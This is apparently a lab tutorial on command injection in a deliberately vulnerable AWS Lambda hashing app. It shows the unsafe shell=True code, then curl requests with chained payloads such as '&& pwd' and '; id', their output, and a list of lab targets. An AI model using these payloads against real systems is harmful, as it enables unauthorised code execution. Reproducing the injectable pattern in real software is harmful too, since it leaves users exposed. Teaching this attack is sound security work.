Command Injection (CMDi) vulnerabilities occur when unsafe user inputs are passed into the execution of a command on a system. Generally speaking, these types of vulnerabilities enable the attacker to insert arbitrary commands and execute them with the privileges of the vulnerable web application.

Finding & Executing the CDMi Vulnerability

For this section the web application uses a shell command ("md5sum") to parse our input into a MD5 hash. We figure out how to specially craft a payload to escape the hashing function and get arbitrary shell command execution. We will be testing the "https://hash.lizardblue.com/" web application. Here is the code the web application uses to hash our input. As you can see it using our input directly in a shell command without escaping it first. This is terrible practice for a website (although it happens) but perfect for us to exploit to compromise the system.

Python Web Application

```
def lambda_handler(event, context):
    input = None
    try:
        input = event['queryStringParameters']['inputstring']
    except:
        return "Missing required parameter: inputstring"
    response = subprocess.check_output("echo %s | md5sum" % input, shell=True)
    return form_response(response)
```

Normally the web application would expect the user's browser to send in request similar to this (we've formatted it for curl for convenience so we can use it to test the API):

```
curl https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod?inputstring=hashme
```

If we run this command we should get back this result:

```
ubuntu:~$ curl https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod?inputstring=hashme
12adcdee8dd3155fd1108a4ed1892d6d -
```

The web application has returned the MD5 hash of our input string.

We can look at the shell command being run in order to figure out how to craft our malicious input. From the code above we can see it looks like this:

Shell Command Run On Target

```
echo %s | md5sum
```

Note: "%s" will be replace with our malicious input. The %s operator lets you add a string value into a Python string.

Our input into the web application is being inserted where the "%s" characters are located within this command.

So if we first put in an arbitrary string to finish out echo, like...

Input String

```
hello
```

Then the command being execute will be formatted like this:

Resulting Shell Command Run On Target

```
echo hello | md5sum
```

Next, if we use the && operator, we can start a new command to be executed, for example the following input:

Input String

```
hello && pwd
```

Which will be executed like this by the web application:

Resulting Shell Command Run On Target
echo hello && pwd | md5sum

As you can see the output of "pwd" command is now being passed to the md5sum binary instead of being echoed, as it previously was.

Assuming we the attacker wish to see the output of the "pwd" command, instead of having this output directed into the "md5sum" command, we will need to change our input.

We will echo a new arbitrary string (e.g. "echo world") in a new echo command (e.g. "&& echo world") to the md5sum binary in addition to adding the command we wish to execute and see the result for (e.g. "&& pwd"):

Input String
hello && pwd && echo world

This will be executed by the web application similar to the following and this input string should now successfully return the working directory of the python application.

Resulting Shell Command Run On Target
echo hello && pwd && echo world | md5sum

You can now run the exploit by sending to the application:

```
curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \-v --data-urlencode "inputstring=hello && pwd && echo world"
```

In this case the attacker would hope to see back input similar to this:

```
hello
/var/task
591785b794601e212b260e25925636fd -
```

This output is the result of executing the "pwd" command surrounded by the outputs of the first echo and the md5sum command.

If this application were to be made secure all user inputs should be rejected if they contain dangerous characters such as:

```
;
&&
|
... etc ...
```

We can replace "pwd" with other commands we wish to run on the remote web server (e.g. "id").

We can also use other operators (e.g. ";"), besides the && operator, to chain our inputs together.

Similar to this:

```
curl -G "https://a8spqqmetd.execute-api.us-east-1.amazonaws.com/prod" \
-v --data-urlencode "inputstring=aaa; id; echo bbb"

aaa
uid=488(sbx_user1059) gid=487 groups=487
b8694d827c0f13f22ed3bc610c19ec15 -
```

The Plan:

- Check the below targets for web application vulnerabilities.

- Gain code execution through any discovered web application vulnerabilities

- Use the "which" command to see what applications can be run on the target (e.g. "which id")

Targets:

- hash.lizardblue.com

- a8spqqmetd.execute-api.us-east-1.amazonaws.com

References

Check out the following references for more information:

- OWASP Command Injection - https://www.owasp.org/index.php/Command_Injection
- Testing for Command Injection (OTG-INPVAL-013) - https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
  CyberChef - https://gchq.github.io/CyberChef/
- D-Link DIR615h OS Command Injection - https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dir615_up_exec
- D-Link DIR-645 / DIR-815 diagnostic.php Command Execution - https://www.rapid7.com/db/modules/exploit/linux/http/dlink_diagnostic_exec_noauth
- D-Link Devices UPnP SOAP Command Execution - https://www.rapid7.com/db/modules/exploit/linux/http/dlink_upnp_exec_noauth
- Hacking Serverless Runtimes: Profiling AWS Lambda Azure Functions & More - https://youtu.be/GZBiz-0t5KA - https://www.blackhat.com/docs/us-17/wednesday/us-17-Krug-Hacking-Severless-Runtimes.pdf
- AWS-Vulnerable-Lambda - https://github.com/torque59/AWS-Vulnerable-Lambda/blob/master/README.md
- Gone in 60 Milliseconds - Intrusion and Exfiltration in Server-less Architectures - https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds